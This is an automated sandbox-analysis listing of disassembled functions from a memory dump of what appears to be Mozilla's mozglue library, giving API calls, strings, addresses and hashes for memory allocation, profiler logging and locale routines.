Function 6C6ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C6ADDCF

Part of subcall function 6C68FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C68FA4B

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE0D
free.MOZGLUE(00000000), ref: 6C6ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF32

Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADB86
Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF65
free.MOZGLUE(?), ref: 6C6ADF80

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction ID: 0ac89ea29ca3db6d5035dcbc7cb8b3ff9466a922f856cee50f87de06b4473153
Opcode Fuzzy Hash: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction Fuzzy Hash: 4551A1726016019BD7219BA9C8806EFB3B2BF96308F95051CDD5A53B00DB31BD1BCB9E

Function 6C6B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DC9
std::_Facet_Register.LIBCPMT ref: 6C6B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E45

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction ID: d43d3134bb9ef4e9c4d1c2bb39eb2cd6776b1883bcd6658d4225881a6cacb5f0
Opcode Fuzzy Hash: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction Fuzzy Hash: 08417C307002049FDB10DFA6C8D8AAE77F6EF89314F144169E506AB791EB30A915CB69

Function 6C68CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6531A7), ref: 6C68CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C68CFA4, 6C68CFB8
<jemalloc>, xrefs: 6C68CF9F, 6C68CFB3

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction ID: 8d2d31da99423ca1da97be1f51af25de81625c11ea9824aa909d2306d991b280
Opcode Fuzzy Hash: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction Fuzzy Hash: 7131A7307422056BFB10AF668C45BAE7775BF85754F204118F612EB684DB70E501CBBD

Function 6C65ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C65ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C65EDCC
CreateFileW.KERNEL32 ref: 6C65EE08
free.MOZGLUE(00000000), ref: 6C65EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C65EE32

Part of subcall function 6C65EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C65EBB5
Part of subcall function 6C65EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C68D7F3), ref: 6C65EBC3
Part of subcall function 6C65EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C68D7F3), ref: 6C65EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C65EDC1

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction ID: 58349f6a09830bb8ba9f10bcb68811798057119605d22f8757a79b57b5dcc24a
Opcode Fuzzy Hash: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction Fuzzy Hash: F251F171E052048BDF00DF69C8806EEB7F0AF4A318F94852DE8956B740E7346959C7EA

Function 6C6CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA565

Part of subcall function 6C6CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CA4BE
Part of subcall function 6C6CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6CA6B6

Strings

z, xrefs: 6C6CA6AE
0, xrefs: 6C6CA5FB

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction ID: 04f669c28a7bbff4618a294ce90f01ccbc11bc35cfc35bd6eeabef394af0ac6b
Opcode Fuzzy Hash: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction Fuzzy Hash: 75414771A097459FC341CF29C080A8BBBE4FF8A344F408A2EF49987651EB30D549CB87

Function 6C699420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
__Init_thread_footer.LIBCMT ref: 6C69949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C69947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C69946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C699459

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction ID: aa2c4d1473f1cb2f1ae45731b97a48eff6bf2a21c92b5f4b9591bb7a0ffbe7d0
Opcode Fuzzy Hash: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction Fuzzy Hash: C5012830A001028BD7109B5ED840A8D33B99F06B3DF054537DD0AC6B52D623F4648D5F

Function 6C6A0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6A0F88
GetCurrentThreadId.KERNEL32 ref: 6C6A0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C6A1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C6A10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C6A114B

Part of subcall function 6C698AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C6B1563), ref: 6C698BD5

free.MOZGLUE(?), ref: 6C6A1174
free.MOZGLUE(?), ref: 6C6A1186

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: b9d50b2a4b8431f7868675881a5dcfdc2c95544afed3b4fb2e42252ad135d9da
Instruction ID: 49dfba786d0adaa59ed0ba26cdbba3b7503cfec9f4aa35b290351c3b2a6838aa
Opcode Fuzzy Hash: b9d50b2a4b8431f7868675881a5dcfdc2c95544afed3b4fb2e42252ad135d9da
Instruction Fuzzy Hash: F961C3756043409FDB10CF65C88079AB7F5BFCA308F04891DE98957712EB31E95ACB9A

Function 6C65B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6AC

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C65B61E), ref: 6C65B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B79A

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction ID: 25f7ad8c1ce3fb9c4c211db8e93f4453b592f1bf7e2131b02846affe1d512b41
Opcode Fuzzy Hash: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction Fuzzy Hash: 5C41D5B2D001159FCB04DF68DC806AFB7B5FF85324F650669E825E7780E731A9148BE9

Function 6C65EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C6D5104), ref: 6C65EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C65EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65EFEC
free.MOZGLUE(?), ref: 6C65F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C65F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C65F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F065
moz_xmalloc.MOZGLUE ref: 6C65F072

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 49165111de3c03516b95465da52a387b2934844702cccbe047f897deb7366f25
Instruction ID: 25846d7eb8670091aa041ee8526c5cda146169a1046695fd6905bd7ecf1497d7
Opcode Fuzzy Hash: 49165111de3c03516b95465da52a387b2934844702cccbe047f897deb7366f25
Instruction Fuzzy Hash: 4441E9B1A001059FCB08CF68DC909AE7769FF85318B34062CE926D7794EB71E915C7EA

Function 6C6CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C6CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C6CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C6CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C6CB5F4
__Init_thread_footer.LIBCMT ref: 6C6CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C6CB61F
std::_Facet_Register.LIBCPMT ref: 6C6CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6CB655

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction ID: 70af877dea57f0e7fc2c37128b4d8ba1b432833bcab7c8e056cdc96acfe85fe5
Opcode Fuzzy Hash: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction Fuzzy Hash: FB316F71B002058BCB00DFAAC8989AEB7F5EFCA325F150519D90697780DB31B906CF9E

Function 6C696590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6967C8

Part of subcall function 6C6A4290: memcpy.VCRUNTIME140(?,?,6C6B2003,6C6B0AD9,?,6C6B0AD9,00000000,?,6C6B0AD9,?,00000004,?,6C6B1A62,?,6C6B2003,?), ref: 6C6A42C4

Strings

vml, xrefs: 6C69696C
data, xrefs: 6C696593

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vml
API String ID: 511789754-3335688618
Opcode ID: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction ID: 20ff2b914093ae74997b57c34fa08c7436a05d9ac23ef9eda6ba70f89351a345
Opcode Fuzzy Hash: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction Fuzzy Hash: F9D1CE75A083419FD764CF25C840B9EB7E5AFC6308F10492EE58987B51EB30E949CB9B

Function 6C68D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C65EB57,?,?,?,?,?,?,?,?,?), ref: 6C68D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C65EB57,?), ref: 6C68D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C65EB57,?), ref: 6C68D673
free.MOZGLUE(?), ref: 6C68D888

Strings

Wel, xrefs: 6C68D5D9, 6C68D63F
|Enabled, xrefs: 6C68D81E

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wel$|Enabled
API String ID: 4142949111-1036103015
Opcode ID: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction ID: 73895f8debc637035f6ab12ae7658e5f5767ac23accadb84eb3d4b2661b4f139
Opcode Fuzzy Hash: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction Fuzzy Hash: 14A1F2B0A012499FDF10CF69C4907EEBBF1AF4A318F58805ED885AB741C734A845CBB9

Function 6C669830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C6B7ABE), ref: 6C66985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C6B7ABE), ref: 6C6698A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C669909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C669918
free.MOZGLUE(?), ref: 6C669975

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: f19d462534e4bbb6d175180e6e170fe5ae577c7268c5f70edb45137fe5f94fa7
Instruction ID: 46417bebb58991fded83a11875da7326b8476b137f449c53d9d74f74598d94e6
Opcode Fuzzy Hash: f19d462534e4bbb6d175180e6e170fe5ae577c7268c5f70edb45137fe5f94fa7
Instruction Fuzzy Hash: 317169746047058FC725CF2AC480956B7F1FF4A328B284AADEC5A8BF90D771B845CB96

Function 6C66B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B80C
